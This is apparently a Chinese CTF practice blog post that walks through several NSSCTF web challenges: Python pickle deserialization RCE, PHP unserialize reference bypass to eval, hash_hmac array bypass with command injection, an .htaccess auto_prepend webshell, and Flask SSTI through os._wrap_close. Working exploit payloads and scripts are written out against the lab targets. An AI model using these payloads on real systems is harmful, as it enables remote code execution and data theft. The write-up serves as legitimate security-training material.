【刷题总结3.11--1.18】

Http知识

[SWPUCTF 2023 秋季新生赛]NSS_HTTP_CHEKER
打开界面
在这里插入图片描述

在这里插入图片描述

pickle反序列化

[HZNUCTF 2023 preliminary]pickle

参考文章:
https://blog.csdn.net/Jayjay___/article/details/132310003

打开界面源代码
在这里插入图片描述

import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0')

简单的代码审计一下

代码如下:
import base64
import pickle
from flask import Flask, request

app = Flask(__name__)


'''
这个函数级别的注解指明了当地址是根路径时,就调用下面的函数。  
在app.route(’/TestB/’)中,TestB前后有斜杆,则访问时,是否在TestB后面加斜杠,Flask都会重定向到(/TestB/)中,且访问成功,
若在app.route(’/TestA`),TestA后无斜杠,则在访问时,则在访问时,若访问(/TestA/),则会报错,访问(/TestA),则访问成功。
'''


@app.route('/')
def index():
    with open('app.py', 'r') as f:
        return f.read()


@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload")    #get输入payload,在/calc目录
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))    #反序列化,字符替换,过滤os,但是我们可以发现他只过滤一次,所以我们可以双写绕过!!!
    
    return "ganbadie!"


@app.route('/readFile', methods=['GET'])
def readFile():            #可以把结果重定向到文件中,然后用readFile读。在/readFile目录

    filename = request.args.get('filename').replace("flag", "????")    #GET提交,把flag换成????,任意文件读取但是防止读取flag。
    with open(filename, 'r') as f:
        return f.read()


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

payload

import pickle
import os
import base64

class qiuju666():         #
    def __reduce__(self):
        return(os.system,("env> a.txt",))     #//重定向,从之前题目推断出flag在环境变量。当然这里可以执行其他命令

a= qiuju666()
payload=pickle.dumps(a).replace(b'os', b'ooss')   #//双写绕过

payload=base64.b64encode(payload)    #//base编码byte类
print(payload)
#print(pickle.loads(base64.decode('gASVJQAAAAAAAACMBXBvb3NzaxiUjAZzeXN0ZW2Uk5SMCmVudj4gYS50eHSUhZRS1C4=')))

在这里插入图片描述

成功执行paylaod

利用第二个路由,访问文件
在这里插入图片描述

php弱比较

[SWPUCTF 2022 新生赛]funny_web

在这里插入图片描述

随意输入点东西
在这里插入图片描述

查看源代码,没什么东西
抓个包,查看一下源代码
在这里插入图片描述

发现有个nss.php是这个登陆包的情况
在这里插入图片描述

尝试了一下万能用户
admin’–+
也不行

提示试验室用户名,哪里有提示呢?
看到这个文件名为nss.php
尝试一下nss
在这里插入图片描述

在这里插入图片描述
密码提示是这样,总不能是社工吧?
但是有没有思路了,看了wp才知道和当时的新生比赛群有关
2122693401

在这里插入图片描述

成功跳转
在这里插入图片描述
在这里插入图片描述

引用绕过wakeup

[UUCTF 2022 新生赛]ez_unser

在这里插入图片描述

方法一、反序列化属性的值大于实际的数量
在这里插入图片描述

但是行不通,应该是php版本的原因

在这里插入图片描述

<?php
show_source(__FILE__);

###very___so___easy!!!!
class test{
    public $a='phpinfo();';
    public $b='phpinfo();';
    public $c='phpinfo();';
    public function __wakeup(){
        $this->a='';
    }
    public function __destruct(){
        $this->b=$this->c;
        eval($this->a);
    }
}
$a=new test();
$a->a=&$a->b;
echo serialize($a);

在这里插入图片描述

修改上面的payload参数
在这里插入图片描述

在这里插入图片描述

payload

http://node5.anna.nssctf.cn:28125/?a=O:4:"test":3:{s:1:"a";s:10:"phpinfo();";s:1:"b";R:2;s:1:"c";s:48:"system("ls /");system("tac /fffffffffflagafag");";}

隐写中的源码&hash_hmac函数漏洞&dir、ls区别

[羊城杯 2020]Blackcat

启动等待的时间有点久
在这里插入图片描述

查看源代码
在这里插入图片描述
下载一下这个mp3文件,看是否存在隐写
在这里插入图片描述

存在源码
在这里插入图片描述
使用010editor可以大概看得到源码,但是不太好看,用strings命令一下出来的结果好点

if(empty($_POST['Black-Cat-Sheriff']) || empty($_POST['One-ear'])){
    die('
$clandestine = getenv("clandestine");
if(isset($_POST['White-cat-monitor']))
    $clandestine = hash_hmac('sha256', $_POST['White-cat-monitor'], $clandestine);
$hh = hash_hmac('sha256', $_POST['One-ear'], $clandestine);
if($hh !== $_POST['Black-Cat-Sheriff']){
    die('
echo exec("nc".$_POST['One-ear']);

hash_hmac函数
在这里插入图片描述

参考文章:
https://blog.csdn.net/wangxuanyang_zer/article/details/134707145

这个代码中的hash_hmac函数存在一个漏洞,就是如果$data不对数组进行出来,如果是数组就会不出来,函数的结果就是NULL,因为上面的代码中用了两个hash_hmac函数,所以第二次的是可用控制的,因为知道了$key

在这里插入图片描述

afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b

这样就可以传入值,使得相等

这里用hackbar有问题,post传参太长了会被截断,得用bp

在这里插入图片描述

在这里插入图片描述

查看根目录,只显示一个
在这里插入图片描述

exec函数只显示一行的内容

ls是多行显示,所以只能显示一行的内容

这里使用dir来显示文件夹内容

在这里插入图片描述

还是感觉没有显示全部,猜测可能存在flag文件夹

在这里插入图片描述

存在文件,尝试过滤一下得到flag

没有结果
在这里插入图片描述
尝试一下过滤花括号呢?
在这里插入图片描述

查看一下当前目录
在这里插入图片描述

在这里插入图片描述
得到flag

payload

One-ear=;cat+f*|grep+\{&White-cat-monitor[]=0&Black-Cat-Sheriff=a3e37115ba966dffb7dedc3db2cc2bcfe5e871803b57ae964c5c8099b88bb2b6

配置文件的绕过htaccess& \ & %0a

[羊城杯 2020]easyphp
在这里插入图片描述

 <?php
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) {
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) {
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") {
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

对上面的代码简单的审计一下

 <?php
    $files = scandir('./'); 
    foreach($files as $file) { //循环检查当前文件夹的文件名是否为index.php
        if(is_file($file)){
            if ($file !== "index.php") { //不等于index.php,就删除文件
                unlink($file);
            }
        }
    }
    if(!isset($_GET['content']) || !isset($_GET['filename'])) { //传入content和filename的值
        highlight_file(__FILE__);
        die();
    }
    $content = $_GET['content'];
    if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) { //对文件的内容进行过滤
        echo "Hacker";
        die();
    }
    $filename = $_GET['filename'];
    if(preg_match("/[^a-z\.]/", $filename) == 1) { //对文件名过滤,可以为字母和点
        echo "Hacker";
        die();
    }
    $files = scandir('./'); 
    foreach($files as $file) {
        if(is_file($file)){
            if ($file !== "index.php") { //当前文件夹下不为index.php的话,就删除
                unlink($file);
            }
        }
    }
    file_put_contents($filename, $content . "\nHello, world");
?> 

这里只能利用index.php做文章了

上传.htaccess配置文件

payload

?content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23<?php%20system('cat%20/fla'.'g');?>\&filename=.htaccess

利用%0a绕过关键字过滤,结合#在htaccess中的特性进行写入后门,\进行转义绕过语句。
在这里插入图片描述

参考文章:
https://blog.csdn.net/giaogiao123/article/details/117353356

js中的游戏

2024第一届vctf纳新赛 misc的checkin
在这里插入图片描述

打开界面
在这里插入图片描述

(此时可以随意玩一玩)

看到js调用的时候
在这里插入图片描述

发现调用的js文件还是挺少的

但是game.js中存在混淆js
在这里插入图片描述

思路:本来是想通过修改game.js的score来达到分数目的
在这里插入图片描述

但是因为做了混淆,这个思路就很难实现(但是我当时还是沉浸在其中,出不来)

正当我打算放弃的时候
在控制台里,看到了一个比较奇怪的图像
在这里插入图片描述
一个md5序列,是有什么提示吗?
在这里插入图片描述

解密一下

https://www.somd5.com/

在这里插入图片描述

得到flag
好一个醉翁之意不在酒啊

python flask框架 无过滤

[HZNUCTF 2023 preliminary]flask

在这里插入图片描述

随便输入一些数字的时候
在这里插入图片描述

逆序
这里写一个python脚本,方便进行下一步操作

import base64

strA = input()
strB=strA[::-1]
#sbase=str(base64.b64encode(strB.encode("utf-8")), "utf-8")   #base


print(strB)   #base不能直接编码,要先换成byte类型,直接在线网站编码

在这里插入图片描述

{{“”.class}} 得到空字符串类 <class ‘str’>
在这里插入图片描述

{{“”.class.mro}} 得到:<class ‘tuple’>, <class ‘object’>
在这里插入图片描述

选取object类
{{“”.class.mro[-1]}} 得到 <class ‘object’>
在这里插入图片描述

得到基类之后,找到这个基类的子类集合
在这里插入图片描述
这里使用其第133个类([0]是第一个类 因此第133个是[132] )<class ‘os._wrap_close’>
因为这个类可以执行系统命令popen
在这里插入图片描述
实例化这个类
在这里插入图片描述
找到这个类的所有方法
在这里插入图片描述
调用popen方法,进行rce 在环境变量里得到flag
不在根目录下的flag.sh
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

python脚本的简单编写(短时间计算)

[HUBUCTF 2022 新生赛]Calculate

在这里插入图片描述

大概意思就是,要计算20个表达式,而且每个要在1~3秒内做出回答正确的值
抓个数据包,看一下

在这里插入图片描述

这里是post形式的传参,而且有个cookie,写脚本的时候要加上这个cookie,这样服务器才能知道是哪个客户端发来的请求。

根据每次发包后,找到下一次的计算数值
在这里插入图片描述

在这里插入图片描述

python脚本

import requests
import time

url = 'http://node5.anna.nssctf.cn:28328'
res = requests.session()  # 创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 50): #设置计算的次数,大一点好测试

    math = ""

    response = res.get(url)  # 发get包,获取题目
    time.sleep(1)  # 睡一秒

    resTest = response.text
    for j in range(0,len(resTest)):
        if resTest[j-1]==">" and resTest[j+1]=="<" and resTest[j]!="\n":  #根据数据包的特征,选取数字
            math=math+resTest[j]
    math=math.strip('=') #除去等于号
    #print(math) 
    num=eval(math)
    data={
        'ans': num
    }
    response=res.post(url,data=data)
    print(response.text)
    #time.sleep(1)
    #j=j+1
    if "NSSCTF{" in response.text:
        print(response.text)
        exit();

等待一会便可以得到flag
在这里插入图片描述

命令闭合

[SWPUCTF 2023 秋季新生赛]If_else

在这里插入图片描述

这里的意思就是要绕过如果达到两个变量都是true呢?
这里就是如何绕过这个if …else…语句
这个是php语言的逻辑底层,如果真的想直接达到两个条件都是真的的话,是不可能实现的。
这里就要跳出这个思维局限来了。
在这里插入图片描述

成功rce
在这里插入图片描述
这里要记得按照题目的提示,先post传参,在访问check.php

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值